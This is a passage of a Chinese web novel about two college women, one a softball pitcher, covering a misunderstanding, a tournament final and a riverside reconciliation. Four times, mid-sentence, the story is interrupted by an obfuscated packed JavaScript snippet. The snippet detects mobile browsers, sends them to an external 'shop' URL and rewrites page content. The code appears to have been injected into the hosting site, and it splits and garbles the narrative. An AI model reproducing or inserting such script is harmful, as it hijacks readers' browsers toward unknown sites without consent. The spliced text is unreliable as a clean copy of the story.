“行,定了撒子时候放假没喃,该买机票咯哦,定了时间给我和你老汉儿说。” 秦离翻了身,将被子夹在腿间,看了看期末考试安排:“我看哈,七月十二号考完最后一门,我……”她想到了黎羽,还不知道她什么时候离开,是什么安排呢。 “我想哈子。” “咋个,还有其他撒子安排哦?要跟同学出去耍蛮?” 秦离被问得不耐烦了:“哎呀,还没想好得嘛。你们不要管那么多,还楞个早,之后再说。” 妈妈的声音还是很温和:“好好好,我不问了,那定了跟妈老汉儿说哈。” “晓得咯。”秦离思维已经放空了,在胡思乱想。 哎,黎羽什么时候走的,她怎么完全不知道呢。还有昨晚,那么好的机会,说不定可以亲近亲近,不然说说话也好啊!自己怎么就秒睡着了呢! 真是的,睡眠太好有时候也是一种烦恼。 “勺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370141|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勺?” “嗯嗯嗯,在听呢。” 妈妈的声音有点无奈:“我说最近钱够不够用?” “嗯……”其实秦离除了吃吃喝喝和玩cos基本不怎么花钱,算算好像够用,又好像不够用? “那我先转三千过来,不够说哈。” “好~” 又有三千块钱到账,嘻嘻,美滋滋。 秦离开始翻消息,打开飞信,略过一堆班级通知,点开和黎羽的对话框,对方在八点发了一条消息:【给你带了粥和包子,放在桌上的。】 随后又跟了一条:【药也在桌上,记得饭后吃。】 秦离喜上眉梢,抱着被子在床上打了几个滚,趴在黎羽昨晚睡着的位置,心脏因兴奋而怦怦直跳。 她关心我耶,她还给我带早餐。 她大概或许可能maybe……也对我有好感? 肯定是的了! 秦离心中已经在畅想什么时候,要怎么表白了。要是在一起,这就是她的初恋耶。 初恋,黎羽,这两个词联系在一起,让她的心化成了一汪春水,柔软得不行。 这时,手机冒了两个泡泡,又有新消息进来了,还是黎羽:【还没醒吗?马上店里会有客人了。】 “啊——”秦离猛地坐起来,慌忙开始换衣服。她才不要睡醒下楼就遇见陌生人啊,太丢人了。 她边换衣服,手指边快速敲着:【醒啦,我马上回宿舍。】 【我看到你带的粥和包子了,谢谢~[爱心][爱心]】 【对了,今天下午还训练吗?[对手指]】 胡乱洗漱完,她开吃早已冰冷的粥和包子,满脸幸福。 新消息过来了:【东西冷了就别吃了,回去好好休息,不用过来了。】 秦离已经吃下一小半,毫不在意:【还可以吃呀,麻婆豆腐的耶,你选的刚好是我喜欢的。[害羞]】 【我已经没事啦,还想继续看你们训练呢,给你们加油打气呀~】 【还有,中午要不要一起吃饭呀,我这会过来时间刚好。不知道你吃过寒纪没,我和朋友经常去吃,味道超好的。】 那边沉默了几分钟,然后是一则新消息:【你好好休息吧。】 秦离脸上的笑容一下子就消失了。 她手上还抓着半个包子,顿了顿,将它扔进垃圾桶,突然抓起自己的东西冲下楼。 楼下,何旭正在算账,听见声音抬头:“你起来了啊?” 秦离低着头不看人,扔下句“我先走了”就快步离开了。 泪水在眼眶里打转,撑到眼睛忍不住眨动了,有连串的泪珠顺着脸庞滑落。她边哭边用手背擦着,不顾路人诧异的眼神,往宿舍奔去。 讨厌……讨厌!我讨厌黎羽! 另一边,黎羽盯着熄灭的屏幕已经好几分钟了,失神。 陈玲嘉在收拾书包,问道:“你怎么了?” 黎羽回神,摇头:“没什么。” “好啦,去吃东西,potato怎么样,想吃韩料。” “……” “去寒纪吧。” 12. Chapter 12 “女人有什么大不了的,这个没了还有下个,我才不稀罕呢。” 秦离拉着李清韵去吃potato了。这家也是她俩的心头好,辣牛肉粉丝汤、海鲜饼和五花肉拌饭都是一绝。秦离还开了瓶梅子酒痛饮中。 李清韵是不喝酒的,只倒了白水。她最近有些身材焦虑,在减肥。 “对的咯,下一个更乖嘛。”她对秦离的上头和“失恋”都习以为常,“不过你不是被球砸到了吗,这样胡吃海喝没问题?” 秦离化悲愤为食欲,点了双份的量,食量惊人。 “没问题啦,”秦离眨眨眼睛,“等吃完我就回去刷视频!还有好多番剧要补呢。” “行,还好今天没课,之后的课你可得按时来,要开始划重点了。” “知道啦,呜呜还是我们清韵最好了,永远的好朋友!” 李清韵白了她一眼:“这时候想起我好了?前阵子人影都看不见一个。” “嘿嘿。”秦离卖乖地笑了笑,“我错了嘛~不说这个,来看剪辑~” 她熟练地打开小破站搜索欧美混剪、DC、SPN、POI、DW、TW、EC、福华①,一水的热门tag,看得泪眼汪汪。 “呜呜,好虐……” “这个没眉毛的家伙还不错,我记得他。” “咦?你居然喜欢小十一,对哦,我带你看过他刚登场那集,水淋淋出现在小amy面前哈哈哈哈~” “他还怪有趣的。哎,我帮你讲,最近我妹在加拿大又闹腾起来了,要死要活的。” “小十一是很搞怪啦,不过我还是最喜欢大提提的小十。” “我爸已经飞过去了,估计得在那边呆一阵子,好烦。” “Iburntupasuntosaygoodbye.呜呜呜呜我的刀玫~还有还有……” “我妈最近也不怎么回来,公司里一大堆事……” 秦离嘴上说个不停,李清韵最近也烦恼事一堆,两人你说你的,我说我的,是熟悉的相处模式了。 吃完饭,李清韵去学校还有事,秦离一个人慢悠悠往宿舍走。到了侧门,她想起打工的事,犹豫了下还是过去了。 这会已经过了饭点,店里人少了很多,只有何旭在。秦离没看见黎羽,松了口气,面对何旭有点不好意思:“老板,抱歉我这几天可能要请假,马上期末了,考试比较多。” “没事,”何旭观察着她还有些红肿的眼睛,体贴地没多问,“而且你不是受伤了吗,回去好好休息,最近我也都在,忙得过来。” “谢谢老板。” 这时,有人下楼,是熟悉的脚步声。秦离余光瞥到熟悉的身影,慌乱转身就要走。 “秦离。”黎羽叫住了她。 “嗯。”秦离别扭应着,低着头不看人。她还生气着呢,但心里又有点隐隐的期待。 有东西递了过来,是医生开的药。 “你忘记带药了。” 然后就是沉默,秦离等了等,没有任何后续。 “知道了!”她气呼呼抓过袋子,快步走出门,“老板,我走了。” “哎?好,再见。”何旭应着,等看不见人了才问黎羽,“你俩闹别扭了?早上不是还买粥着呢。” “没有。”黎羽也没看人。 “中午那会她哭着跑走的。小姑娘人还是挺乖的,喜欢不喜欢的,有什么你好好跟人家说啊。” ……她哭了? 黎羽恍神,心脏像被小虫咬了下,那种感觉很快又消失得无影无踪。 何旭看她没什么反应,心里为秦离叹了口气,变了话题:“对了,你暑假回去吗?” “回,我妈已经在催我了。” “你家里情况也是,哎,还不如一直呆在梦城呢。” “……她毕竟是我妈。” 何旭拍了拍黎羽的肩膀:“你还这么年轻,也快毕业了,多为自己考虑考虑啊,留在梦城吧。” “……我想想。” “呕……” 宿舍里,秦离呕得厉害,把刚才吃的全吐出来了。室友施澄给她递纸巾:“要不要去医院看看?” 秦离摇摇头:“没事,已经去看过了,有药。” 闻着淡淡的酒味,施澄提醒:“喝了酒24小时内不能吃药。” “啊,是吗?没事,那我明天吃。” 该说的都说了,施澄回到自己的桌子继续看书。秦离抓着手机和电脑晕晕乎乎爬梯子上床,对施澄道:“小澄,晚上帮我带份炒饭吧。” “好。” 秦离又陷入自己的世界了。她继续刷着视频,点开了个新的欧美混剪。 "Justonelastdance Beforewesaygoodbye Whenweswayandturnroundandroundandround It''slikethefirsttime”② 熟悉的几部,还有一对女女CP…… 两人穿着长裙在花园里奔跑拥抱,在房间里牵手跳舞,在夜灯下同床共枕,手指和肌肤的触碰…… 秦离的身体里有电流在窜动,心空落落的。她搜了下,两人出自电影《指匠情挑》③,是发生在维多利亚时期的女同性恋故事。 电影、原著、作者其他的书,秦离一刻不停地看了下去,心神荡漾。 她为别人笔下的故事悲喜交集,或哭或笑着,彻底忘记了自己的事。 三天时间很快就过去了。还是下午去教学楼上课,看见一楼张贴的宣传海报,秦离才记起来,垒球联赛已经开始了啊。 E大的第一场比赛,时间……一个小时后。 算了,这跟她有什么关系呢。 秦离犹豫着,最终还是继续上楼。 她还要上课,还要考试,老师今天要划重点了,这可比什么看比赛重要多了。 还要刷绩点呢。 第一场比赛是和K大,队员集合,教练布置战术,李凌菲卯住劲给大家打气,结束后看见黎羽目光落在场外,问道:“怎么了?” 今天,场外来了不少观众,女孩子居多。黎羽视线扫过,没看到那个熟悉的身影。 “没什么。”她回神,继续检查装备。 李凌菲很快反应过来,跟着望了过去:“哟,找小学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370142|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹啊。说起来,怎么都没看到她呢,之前看训练都看得这么积极,今天反而没来,不应该啊。” 黎羽将球扔进手套又投出,寻找手感,不说话。 李凌菲反应过来两人间可能出什么问题了,狠狠拍了拍她的背:“你就别扭吧你!” “该上场了,走。”裁判哨声响起,黎羽回拍了下,朝场上跑去。 李凌菲感受着背部的阵痛,呲牙咧嘴。 报复!一定是报复! 第一局,E大是防守方,黎羽普通发挥,对方第一棒便是快速的平飞球,上垒成功。 第二棒是个高飞球,队员们都有点紧张,没有接好,对方趁机跑垒,两人在垒。 第三棒、第四棒大家状态上来些了,接连淘汰两人,目前对方还没得分。 第五棒是个个子小小的女孩子,是K大的队长兼捕手,小小的身体里有着巨大的能量,没人敢小瞧。果然,她虽然力气不大,但是盯准了防守漏洞,打出刁钻的角度和位置,成功上垒。 现在场上已经是满垒了。 下一个上场的便是K大新晋的王牌选手。她身材高大,眼神锐利,黎羽直觉是个猛手。 她在手心转了转球,快速送了出去,擦着好球区的边缘位置,对方没接。 “strike!” “nice!” 第二颗球依旧如此,对方球棒动了动,还是没接。 众人的心都放松了些,下颗球对方再接不上便要被淘汰了,满垒也转换不成分数。 第三颗球,对方突然笑了,球棒快速挥动,完美的力量和角度,是高飞球。 所有人的目光盯着那颗球,中外捕手开始往后退,高举手套想要接杀。 不对…… 黎羽心里一紧,这是…… 球的轨迹还在往前,然后下落,最终…… 落到了场外。 是全垒打! 场上跑垒员全部回到本垒,K大瞬间增加四分。 全场欢呼。 队员们的脸色变得很难看,李凌菲给大家打手势,大喊着:“不要怕,才刚开始,继续!” 黎羽深吸口气,平复状态,将这名选手标注为重点对象。 接下来,大家状态有所回暖,第二局转头拿下三分。 第三局,K大一分。 第四局,E大零分。 双方状态都越打越好,强队之间的较量,不得分才是常态。 剩下还有三局,两局防守,一局进攻,分差两分。 这个差距不算大,但要在K大不得分的情况下,在一局内追回这两分,还是很有难度的。 黎羽心情很糟,她想到K大会是难缠的对手,但没想到这么强。 场间休息,教练在调整战术,给大家做心理建设。她灌了小半瓶水,平复心情,余光瞥见场外,愣了下。 秦离背着包站在铁丝网外。她穿紫色的短裙,喘着气,马尾松动凌乱。 察觉到黎羽的视线,她僵了僵,但没有避开,犹豫着扬起个笑容,握拳举了举,还是喊出来了。 “加油!” 黎羽的心突然就安定了。 13. Chapter 13 黎羽超常发挥,队友们也很给力,第五局快速淘汰对方,第六局又艰难啃下三分,目前反超一分,局势大好。 众人欢呼。 黎羽和李凌菲都很冷静。最后一局又是K大的进攻局,还不能松懈。 围观的人越来越多,场上选手的表现被所有人看见。大家都知道,这局的关键在投球手。 K大也调整战术了,在垒上有两人后,下一棒又到了那个王牌选手。 黎羽知道,不能再让她打出第一局那种球。她转了转手腕,心里有了想法。 黄绿色的垒球高速旋转着,以更刁钻的角度快速冲了过去。 第一下,对方球棒动了动,忍住没有打,但在好球区的边缘。第二下,球棒动的幅度更大了,仍然没打,是坏球区,无效。 黎羽用手肘抹去脸上的汗水,突然朝前迈一大步,是不同的送球姿势! 对方瞳孔微张,还未来得及反应,球已经从她身旁飞过去了。 好球区! 还剩……最后一次。 黎羽缓缓吐气,锐利的眼神给对手造成心理攻势。这次,她用的依旧是新的投球姿势。 对方无法找到打出本垒打的轨迹,但已经是最后的机会了,只能咬牙打了出去。 糟糕,是滚地球。 游击手快速接球,传给二垒手,投球手,再到捕手,对方不敢跑垒,棒手被淘汰。 黎羽压了压帽子,突然高举左手,比出“一”的手势。她胸膛起伏着,还没有完全平复气息。 全场寂静,然后瞬间欢呼。 这是这局被淘汰的第一个人。 秦离听见旁边模样可爱的女大学生害羞地和朋友私语:“哇,E大的投球手也太帅了吧。” “快去看看叫什么名字?” “好像是叫黎羽,名字也好听~” “等比赛结束,去要个电话吧~” “哎呀,我不是……” “这么帅,要了再说嘛……” 秦离有点不太高兴,手指用力抓着铁丝网。 下午课结束,她走到校门口,犹豫来,犹豫去,最终还是跑过来了。到时,比赛已经开始了一大半。 她在心里找借口,之前可是看了那么多场训练,她来支持自己学校队伍的比赛没毛病呢,而且小智还在队里呢,她好歹是她的副部。 然而,看见黎羽的那一刻,秦离就忘记了一切。之前的生气委屈在看见她站在阳光下带着光芒的样子后,就都散了。 她和她四目对视,只想给她鼓励和笑容。 但看见场外许多人投去惊艳和爱慕的目光时,她心里又有一丝别扭。喜欢黎羽耀眼的样子,也只想她这样耀眼的样子只被自己看见。 黎羽对场下的一切和秦离的心理一无所知。她全身心投入比赛,眼睛盯着下一个上场的击球手。 这一棒是个小个子,被她的眼神看得心里发毛。黎羽依旧是新姿势出球,对方太紧张,击球失误,黎羽直接接到扔回本垒,李凌菲稳稳接球。 淘汰! 黎羽对着天空比了个“二”的手势,朝对手露出得意又挑衅的笑容。 场上爆发出更加响亮的喝彩声,二垒上,K大队长的脸色更难看了。 然而现在已经无法再调整战术,下一棒只能硬着头皮接着上。 这棒对方打得不错,开始冲垒,她们别无选择。然而,E大这边的防守来得更快,快速传球,跑垒员离开二垒后,无法回去,又无法到达三垒,被封杀。 黎羽再次高举左手,比出了最终的“三”,笑容难得肆意。 全场响起雷鸣般的欢呼声。 “啊啊啊啊——” “副队!” “队长!” “我们赢了!我们赢了!!!” 所有人飞奔着朝黎羽涌来,大家挤在一起,将她举了起来,向空中抛去。 “一!” “二!!” “三!!!” 黎羽脸上难得没有一丝阴霾,只有纯粹的喜悦。这一刻,想不到过去,也不用思考未来,只有此刻,只有垒球。 “好了,这才第一场比赛……你们这群家伙,快放我下来!” “不放~” 队员们不顾她做出来的冷脸,一个个嬉皮笑脸着。 裁判吹哨,所有人才站好。双方球队握手,对面队长已经收拾好脸上的落寞,对黎羽肯定道:“你确实很厉害,不过下次见面,我们不会输的!” 黎羽也毫不示弱:“放马过来吧。” 场上场下尽是欢声笑语。 秦离看着黎羽的胜利,看着所有目光都朝她涌去,既高兴又酸涩。她轻轻念着“恭喜”,在手机上发出消息,然后转身离开。 胜利之后理所应当是庆功宴。众人不去想之后强大的对手,只沉浸在这一刻的喜悦中。 黎羽是坐下吃饭时才看见秦离的消息的,不同于之前活泼的语气,只有冷冰冰的“恭喜获胜”四个字。 【谢谢。】 关上手机,原本胜利后的迷醉感弱了些。这段关系的冷淡本来是她想要的结果,心里却空落落的。 鬼使神差的,她又发了条消息:【下场比赛在两天后。】 【好哦,那你加油哦,今天……很棒!^0^】 另一边,收到黎羽的消息后,秦离的心脏很强烈地跳了跳。她打了一堆字,又删了不少,最后只留下对她而言已经尽可能冷淡的这句话。 【好^^】 秦离摸着屏幕上那双弯弯的眼睛,还是忍不住勾起笑容。 之后的每次比赛,秦离都到场了。她总是站在观众区里,远远看着黎羽,看她在场上越来越耀眼,获得的赞誉和爱慕的眼神越来越多。 秦离还是别扭着。她每场都从头到尾看了,和黎羽来回的消息也越来越多,但还是固执地看完比赛就走,不和黎羽当面说话。 她在等…… 等黎羽主动找她。 哼,之前明明是对方突然变得怪怪的,她才不要又眼巴巴凑过去呢。 E大小组循环赛成功出线,接下来八强……四强……三天之后便是决赛了。 决赛的前一天晚上,辗转反侧。 十一点了,黎羽飞信还在线着。秦离发消息过去:【还不睡吗?】 【……睡不着。】 【唔,我也还没睡呢,在看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370143|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该死的微观经济学,要不要聊聊天呀?】 【好。】 秦离还在挑战一夜刷完整本书。明天上午八点有考试。还好不在下午,不耽误她去看比赛。 她们学校就是这点变态,经济类是全校通学,就算她是英语专业,相关课程也一点不比专业课少。 该死的。 对方很快又发了条消息:【是曼昆那本吗?你们明天要考试?】 【是的[哭][哭],你说该死的我们英语专业,还不是商务英语,学什么经济啊。到大三分类了我一定要把课全部选成文学向的!】 【那本书还挺厚的,老师没划重点吗?】 【划了,如果把基本整本书都划了也叫划重点的话[大哭][委屈]你们当初是怎么啃这本书的啊[星星眼]】 【其实……我们专业不学这个来着。】 【啊?】 【我们的是纯英文教材^^】 【红红火火恍恍惚惚①,那还得是你们,突然心里就淡定许多了呢,好歹这本书我还能一晚上啃完^0^】 两人有一搭没一搭地聊着,聊到后面,黎羽回消息的速度开始变慢。 【滴滴滴~困了吗?】 对面隔了十来分钟都没有反应,秦离又发了一条过去:【睡着啦?】 又过了十来分钟,黎羽才回消息:【刚刚睡着了……】 【233333我猜也是,那你快睡吧,明天还要比赛呢。】② 【嗯,你也是,别熬太晚。】 【知道啦~快睡啦~[揉脸]晚安哦~】 【晚安。】 第二天顺利考完试,秦离准备回宿舍稍微休息下,结果倒下就长睡不起,还是陈小雨回来喊了喊她:“小离,我记得你说要去看什么比赛?” “啊——” 秦离一声尖叫,猛地惊醒,一看时间下午五点,比赛已经开始了! 手机上有一条黎羽中午发来的消息:【今天比赛结束,和大家一起吃饭吧。】 随后还有三条:【大家都说要谢谢你的支持呢,而且说好久没看见你了。】 【……你没来吗?】 【比赛马上开始,我先上场了。】 秦离穿衣服下楼狂奔,叫了个出租车,手指狂敲:【呜呜呜呜对不起对不起,我睡过头了[鞠躬]】 【昨晚看了通宵的书,早上考完试,我说中午回来就眯一会会,怎么就睡了这么久啊啊啊啊啊啊啊】 【我现在打车过来,马上就到(虽然知道你已经在比赛看不到消息了[大哭]】 【比赛加油呀!!!(疯狂尖叫】 【快了快了!还有两分钟我就到了!】 下车后,秦离一路狂奔。到赛场时,比赛已经进行到第四局了,场面焦灼。 决赛对手毫无意外是去年的冠军队伍S大,每个队员都很厉害。现在的总比分是三比二,比分咬得很死,从对手手上每拿一分都非常艰难。 赛场外前所未有地挤满了人,所有人都很紧张。 秦离的心也扑通直跳。她看着场中心的黎羽,双手交握着放在胸前祈祷。 求求老天爷了,一定要赢,千万要赢啊! 14. Chapter 14 第四局……第五局……第六局…… 越到后面,S大的防守越发缜密,E大的新战术和秘密武器都被她们防住了。秦离能看出来,大家已经在超常发挥了,但奈何对手太强,只能艰难啃下一分。同时对方也逮住黎羽的投球失误和其他队员的防守间隙,顺利得分,分差依旧是一分。 第七局,E大是进攻方。 李凌菲嘴上就没有停过,笑着不断给队友打气。场上目前也只有她一人还能笑得出来,所有人神经都高度绷紧,不到最后一刻,谁也不知道冠军的归属。 比赛继续。小智已经到达二垒,目前被淘汰两人,下一棒是黎羽。 黎羽握紧球棒,憋着一口气打出快速的平飞球,是对方的防守空隙!别无选择,只能跑了! 垒上人卯足劲朝前冲,但S大的回防也很迅猛,眼看着球回到投球手上,就要回传给捕手,而小智离本垒还有一点距离。 关键时刻,小智咬牙一个滑铲增加速度,试图让脚第一时间触碰到垒包,最终和垒球几乎同时到达,肉眼看不出先后。 所有人都屏住呼吸,等待裁决。 “哔——” 裁判吹响口哨,判定球先到达捕手手中,封杀。 小智,淘汰! 比赛结束,2013年高校女子垒球联赛的冠军是——S大! E大以一分之差不幸落败,成为了本次比赛的亚军。 众人瞬间沉寂,连从来都笑着的李凌菲都失去了笑容,黎羽脸上的阴霾尤甚。而S大的众人欢呼着,涌到了一起,将队长举了起来,大声庆祝着。 最终,裁判吹哨,双方握手。 S大众人脸上难掩兴奋之色,结束后仍在交谈着。E大这边,大家都沉默不语,安静地收拾着行李。这一刻,语言是苍白的,悔恨无济于事,伤痛无法治愈。 然而,她们还无法离开,需要以亚军的身份参加最后的颁奖仪式。 观众区,看着黎羽眉头不展,秦离的心都揪起来了。 平心而论,E大的发挥足够出色,亚军也已经是历年来的最好成绩了。但是离冠军只有一步之遥,谁又甘心止步于此呢。 况且,这已经是黎羽最后的机会了。 这时,旁边有人在小声交流着。 “好可惜哦,还是输了。” “没办法,对手看上去好强哦。不过哎,最后那里再跑快点就好了。” “还有第六局的那颗投球,让对方打出了完美的轨迹,也得分了。要是没有这点失误,再到加时赛,说不定就有机会了。” “哎,不过黎羽确实够帅啊~” 两人的说话内容逐渐转向黎羽本身的吸引力,越说越兴奋。秦离转头看去,发现正是第一场比赛便见过的模样可爱的女孩子。后面的每场比赛,秦离也都有看见她,可以说是黎羽的忠实观众了。 不过她似乎对垒球一无所知,还是在朋友的解说下才慢慢懂了一些。比起比赛,也更关注黎羽个人,毕竟她出色的外表更加有吸引力。 秦离有些不太开心,觉得她们这种轻佻的想法亵渎了黎羽对垒球的热爱。 旁边的对话还在继续。 “我本来说等她夺冠后再告白,说不定成功的机会大些呢哈哈,让我幻想下嘛。但现在这样,哎,怎么说啊。” “说呗,表达喜欢的心情没错嘛。而且今天之后,你也没什么机会再专门跑过来了。” “也是……我再想想……” 秦离越听越觉得愤怒,同时还有一丝被占了先机的恐慌。虽然觉得可能性比较小,但她还是害怕黎羽答应了对方,自己就再也没有机会了。 毕竟打算告白的女孩长相甜美可爱,自己……一点也比不上。 场上人对此一无所知。 颁奖仪式结束后,观众走了不少。黎羽将帽子压得很低,盖住了脸上的表情。众人检查完所有装备,背着包准备离开。 这时,可爱女孩打开铁门跑了进去,脸红红的。 秦离找不到阻拦别人的理由,缩在了旁边的饮料柜边上。她既想看黎羽的反应,又害怕被她看见自己在看。 女孩跑到黎羽面前,害羞道:“黎羽,我有话想单独对你说。” 队里大家对这一幕都习以为常,但现在实在没有心情打趣黎羽。李凌菲拎起所有东西,道:“我们在外面等你。” 说完,所有人都出去了,留黎羽和那个女孩站在原地。 黎羽没有回应,但也没动,这给了女孩莫大的勇气。 “黎羽,我……我喜欢你!” 说完这句话,女孩双手搅在一起,低着头继续道:“我知道现在跑过来说这些话有些冒失,但错过这次就没有机会了。我是G大的学生,这次跟朋友来这边参加活动,刚好看到你的比赛。你真的……太帅太耀眼了!我……我从第一场开始就在看你的比赛,你真的很棒!这次的失利只是一时的,下次……下次你一定能夺冠!” G大在隔壁市,也难怪女孩要赶着现在的时点告白。她不清楚黎羽的情况,因此也不知道她没有下一次的机会了。 黎羽的心情更糟了。她无法理解这种草率的喜欢,语气冷冰冰的:“你完全不了解我,说什么喜欢,一时兴起,太轻率了。” 没想到黎羽说出这样的话,女孩愣住了,但很快反应过来:“你这么说……但还是站在这里听我说完了啊……” “……” 黎羽闷着头不说话了。 女孩突然笑了:“啊,其实没想到你是这样的性格,防备心好重啊。你说的没错,我确实不了解你,但我的喜欢也是真的,一时兴起又怎么不是喜欢呢?不过你的答案我知道了……” 说完这段话,女孩已经耗尽所有的勇气。 “那么……打扰了……”女孩转身跑开了,眼睛有些红红的,毕竟告白被拒的滋味怎么样都不好受。 黎羽的眉头皱得更紧了,原地站了会才慢慢朝外走。 柜子旁的秦离目睹了一切。她听不清两人说了什么,但看见了黎羽的不耐烦、女孩的失态和她朋友的安慰。 她知道,黎羽是拒绝了。她心里有些高兴,又有些物伤其类的预兆。 这时,黎羽出来了,众人准备离开球场,看见了躲在柜子旁的秦离。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370144|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“学妹?”面对旁人,李凌菲勉强勾起社交的笑容,“我还以为你没来呢。” 秦离的笑容也变得尴尬,回应着:“我……我睡过头了,跑来赶上的。” “难怪开始没看见你。” “哈哈。” 黎羽从尬聊的两人中间走过:“走吧,去吃饭。” 尬聊结束,一行人在沉默中往回走。 决赛是在L大举行的,李凌菲选了家E大后门的火锅店,环境火热点,不显得冷场尴尬。 路上,秦离一直紧紧跟在黎羽身旁。她心一直提着,想要说些安慰的话又害怕触及伤口,不知道怎么开口,只能默默陪着。 到店里,众人坐下,李凌菲点了菜,说了几句活跃气氛的话,见众人反应都不大,叹了口气:“算了,先吃饭吧。” “老板,来打啤酒。”喊酒的是秦离,迎着众人的目光解释,“什么都不说了,我们喝酒吧,喝完回去好好睡一觉。” 这正合众意。酒上上来,所有人都闷着头喝酒。 黎羽平时都很克制,今天也难得喝了不少。她一杯接着一杯,杯杯干掉,像是要将自己灌醉。 秦离一直小心翼翼地看着她。她没有任何慰藉的办法,只能跟着黎羽一起喝酒。黎羽喝多少杯,她便也喝多少杯,好像这样就能够同甘共苦。 喝着喝着,桌上小智突然“哇”地一声哭了出来:“都是我的错,都是我的错啊!最后一局……呜……最后一局要是我能跑得再快一点,再快一点点,我们就还能打啊!我错了,呜呜,平时训练我……我不应该偷懒。明天起……哦不对!就现在,我现在……现在就去练往返跑。” 小姑娘说着就要夺门而出,旁边的李凌菲眼疾手快抓住她:“不是你的错,要怪……就怪我没有布置好战术吧。” “队长啊!”小智抱着她开始嚎啕大哭。 这下子点燃了众人的情绪,大家先后都闹腾起来。 “我也有错,那个时候,我没接到那个高飞球,该死啊我!” “我也……我打棒出问题了!” “我……呜呜……哇——” 众人七嘴八舌喊了起来,纷纷开始背锅,互相抱头痛哭。 黎羽没有开口,但喝酒的速度越来越快。秦离知道,她虽然不说,但心中的自责和悔恨不比谁少。 旁边,李凌菲酒喝够了,也嚎够了,转过头看见黎羽,扑了过来:“羽啊,我不想离开垒球社,不想啊!这该死的世界,就不能让我打一辈子的垒球吗?” 黎羽任凭她摇晃,酒撒了一手。她的神情恍惚,声音很轻:“我也……不想啊……” 秦离听见了那句呢喃。她突然觉得黎羽在这里又仿佛不在这里,就好像一片羽毛,轻飘飘的,下一秒就要被风吹走,不会被任何人看见,不会被任何人找到。 被人遗忘。 她的心剧烈收缩疼痛着,像是面对珍宝,想要好好对待却不知道如何是好。 她情不自禁伸手,握住了黎羽的手腕。 黎羽转过头,双目对视,溺在了那片黑色幽深的瞳海里。 再也,无法出来。 15. Chapter 15 借着酒意,大家的情绪都哭喊着发泄出来了。 酒终人散场,秦离有自己的心思。她悄悄发了条消息出去:【等会我们去河边走走吧。】 发完,她戳了戳黎羽,示意她看手机。 隔了一阵,黎羽才回了一个字:【好。】 饭后,告别还在鬼哭狼嚎的队友们,依旧是秦离和黎羽同行。秦离没有选择回宿舍的路,而是进了学校,黎羽也没问,跟在她身旁。 今晚是个满月夜,月亮很亮,所有天上星辰都迷失了。 夜晚的E大几乎没有任何学生在,冷冷清清,水泥地边上亮着脚下小夜灯,像星河般隐隐约约照亮地面。夜风很柔和,吹得树梢轻轻晃动,只听得唰唰的声音。 今晚的黎羽格外沉默,阴云笼罩。她和秦离隔着不远不近的距离,只是一并走着,目光落在了虚空处,不知道在想什么。 两人顺着地上星河往前走,空气中是被热气包裹着的厚重夜风,让每一次呼吸都无比贪婪热烈。 秦离的心脏为即将想做的事而怦怦直跳。她想先说些什么,却局促着,害怕加剧黎羽哪怕一点点低落。 两人走到了河边,手臂碰着手臂,一次次接触,又一次次分离。 云林大学城有条河,蜿蜒着流通了这边几所大学,在E大教学区通往体育馆的桥下静静淌过。河水很清,月亮的余晖在水浪里熠熠生辉。 秦离偷偷看向黎羽。她低着头,浅棕色的眼眸里似乎也映着那片忧伤的银色。 她的心弦颤抖着,大脑一热,靠近抓住了黎羽的手。 这样的夏夜,黎羽的手却很凉,在接触到秦离滚烫的手心后颤了颤。 她停下脚步,转身盯着秦离,眼里看不出情绪,但没有挣脱。 这给了秦离勇气。她的手指大胆攀爬着,挤进了黎羽的指缝之间,十指交缠,紧紧握住。 慢慢的,黎羽的指腹轻轻点在了秦离的手背上,是个可以放开又可以握紧的位置。 秦离笑了,右脸颊上有个小小的酒窝,眼睛亮亮的:“我们继续往前走吧。” “……嗯。” 风静静吹着,相触的手心、手指、手背,每一寸皮肤都带着痒意,向上攀爬,向内蔓延,流窜到四肢,刺激着心脏一声又一声更加剧烈地跳动。 